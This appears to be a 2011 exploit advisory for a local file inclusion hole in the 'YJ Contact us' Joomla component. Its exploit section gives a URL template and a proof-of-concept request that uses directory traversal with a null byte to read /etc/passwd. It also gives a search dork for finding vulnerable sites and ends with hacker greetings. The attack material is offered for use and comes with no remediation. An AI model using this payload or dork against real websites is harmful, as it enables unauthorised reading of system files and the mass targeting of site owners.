================================================================================
   
  - YJ Contact us - Enhanced Joomla Contact Form <= Local File Inclusion Vulnerability
    
       Software : YJ Contact us - Enhanced Joomla Contact Form
       Vendor   : http://www.youjoomla.com/yj-contact-us-enhanced-joomla-contact-form-2.html
       Author   : Mego
       Contact  : nowar204[at]hotmail[dot]com
       Home     : NONE
  
================================================================================
  
  - Exploit
  
       http://localhost/[path]/index.php?option=com_yjcontactus&view=[LFI]
  
  
  - PoC
  
       http://localhost/[path]/index.php?option=com_yjcontactus&view=../../../../../../../../../../../../../../../../../../../etc/passwd%00
  
  
  - Dork
  
       "com_yjcontactus"+view
  
================================================================================
  
  - Greetz
  
       norgod,g0ld,vnc and all brazilian c0ders
  
================================================================================
  
  - October 25 2011 - Morocco